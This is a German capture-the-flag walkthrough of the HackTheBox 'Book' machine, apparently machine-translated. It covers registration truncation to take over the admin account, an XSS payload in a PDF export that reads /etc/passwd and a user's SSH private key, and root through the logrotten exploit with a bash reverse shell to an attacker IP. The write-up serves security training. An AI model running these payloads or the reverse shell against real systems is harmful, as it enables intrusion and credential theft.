HackTheBox. Exemplarische Vorgehensweise. XSS zu LFI über PDF und LPE über Logrotate



Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Plattform gesendet wurden .



In diesem Artikel nutzen wir XSS für LFI über ein PDF-Dokument, eskalieren Berechtigungen mit logrotten und sehen auch, warum eine abgeschnittene Registrierung anfällig ist.



Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem wichtige Daten für Sie vorhanden sind, da Sie sich in einem privaten Netzwerk mit Personen befinden, die etwas über Informationssicherheit wissen.



Organisationsinformationen
Damit Sie mehr über neue Artikel, Software und andere Informationen erfahren können, habe ich einen Telegrammkanal und eine Gruppe erstellt, um alle Probleme im Bereich ICS zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen persönlich prüfen und alle beantworten .



. , - , .



Aufklärung



Dieser Computer hat eine IP-Adresse vom 10.10.10.176, die ich zu / etc / hosts hinzufüge.



10.10.10.176	book.htb


Zunächst scannen wir die offenen Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit 500 Paketen pro Sekunde.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176     --rate=500






Führen Sie jetzt einen Scan mit der Option -A aus, um detailliertere Informationen zu den Diensten zu erhalten, die an den Ports ausgeführt werden.



nmap -A book.htb -p22,80






Der Host führt einen SSH-Dienst und einen Webserver aus. Beginnen wir mit dem Web. Wir werden von der Login- und Registrierungsseite begrüßt.







Registrieren wir uns und melden uns an.







Die Site ist eine Bibliothek mit der Möglichkeit, ein Buch hinzuzufügen und den Administrator zu kontaktieren.







In diesen Feldern befindet sich kein Vektor, aber wir kennen die E-Mail des Administrators. Lassen Sie uns die Verzeichnisse mit Gobuster durchlaufen. In den Parametern geben wir die Anzahl der Streams 128 (-t), URL (-u), Wörterbuch (-w) und Erweiterungen an, an denen wir interessiert sind (-x).



gobuster dir -t 128 -u http://book.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php






Daher finden wir viele interessante Seiten, einschließlich des Admin-Panels. Dann wurde beschlossen, das Autorisierungsformular zu verdrehen, und sofort finden wir etwas Interessantes im Quellcode.







Das heißt, der Benutzername darf nicht länger als 10 Zeichen sein und die E-Mail-Adresse darf nicht länger als 20 Zeichen sein. Die Prüfung erfolgt jedoch nur bei leeren Feldern, ohne die Länge zu prüfen.



Einstiegspunkt



Daher werden diese Variablen höchstwahrscheinlich auf der Serverseite auf die angegebene Länge gekürzt. Lass es uns überprüfen. Registrieren wir einen Benutzer, dessen E-Mail-Adresse mehr als 20 Zeichen umfasst.







Und dann melden wir uns unter Berücksichtigung der abgeschnittenen Adresse an.











Wie Sie sehen können, ist die Annahme richtig. Registrieren wir uns als "admin@book.htb 123" und melden uns dann als regulärer Administrator an.















Dieser Angriff ist möglich, weil bei der Überprüfung während der Registrierung der Wert "admin@book.htb 123" in der Datenbank fehlt. Danach wird er abgeschnitten und überschreibt den vorhandenen Wert. Schauen wir uns auf der Website um und finden nichts Interessantes außer der Sammlung.







Nach dem Herunterladen und Öffnen von PDF-Dokumenten finden wir dort eine Liste der registrierten Benutzer und Sammlungen.



BENUTZER



Meine Erfahrung hat mir gezeigt, dass beim Hochladen von Informationen auf den Server und beim Anzeigen dieser Informationen als PDF XXS zu LFI überprüft werden sollte. Sie können dies tun, indem Sie den folgenden Code herunterladen.



<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
 

Melden Sie sich als normaler Benutzer an und fügen Sie der Sammlung eine Datei hinzu, die diese Belastung in allen Feldern angibt.







Jetzt laden wir die Datei mit der Sammlung vom Administrator herunter und finden dort den Inhalt der Datei / etc / passwd.







Lesen wir den privaten SSH-Schlüssel des Reader-Benutzers, indem wir die Datei "file: ///home/reader/.ssh/id_rsa" in unserer Last angeben.







Beim Kopieren eines Schlüssels wird jedoch nicht alles kopiert. Öffnen Sie dieses PDF in einem Browser, kopieren Sie den Text und fügen Sie ihn in eine normale Textdatei ein, wobei Sie die erste und letzte Zeile hervorheben.







Weisen wir dieser Datei die Rechte zu.



chmod 0600 reader.key


Und wir verbinden uns über SSH.







WURZEL



Im Home-Verzeichnis des Benutzers befindet sich ein Sicherungsordner.











Es gab mir nichts. Führen Sie die Skripte für die grundlegende Aufzählung des Systems aus, wir finden auch nichts Interessantes. In diesem Fall betrachten wir die ausführbaren Aufgaben mit pspy64. Und hier finden wir logrotate, das im Auftrag der Wurzel läuft.







Das Dienstprogramm Logrotate dient zur Automatisierung der Verarbeitung von Protokollen. Sie kann mit ihnen die erforderlichen Maßnahmen in Abhängigkeit von bestimmten Bedingungen und Compliance-Regeln durchführen. Sie können beispielsweise Protokolle in einem Archiv komprimieren oder an einen anderen Server senden, wenn sie eine bestimmte Größe, ein bestimmtes Alter oder andere Parameter erreichen. Und eine Suche in Google gibt sofort etwas.











Laden Sie das Repository herunter und kompilieren Sie das Programm.



gcc -o logrotten logrotten.c


Jetzt erstellen wir eine Datei mit einer umgekehrten Shell.



echo "bash -i >& /dev/tcp/10.10.15.60/4321 0>&1" > payloadfile


Beginnen wir mit logrotten und schreiben in ein anderes Terminalfenster in unsere Protokolldatei.



./logrotten -p ./payloadfile /home/reader/backups/access.log 






Wir können beobachten, dass das Programm erfolgreich funktioniert hat.







Nach einigen Sekunden sehen wir eine Verbindung, die einige Sekunden hält. Dies reicht aus, um den privaten Schlüssel ssh zu sehen.







Verbinden wir uns mit diesem Schlüssel und nehmen die Flagge.







Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, durchgesickerte Kurse und Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.



All Articles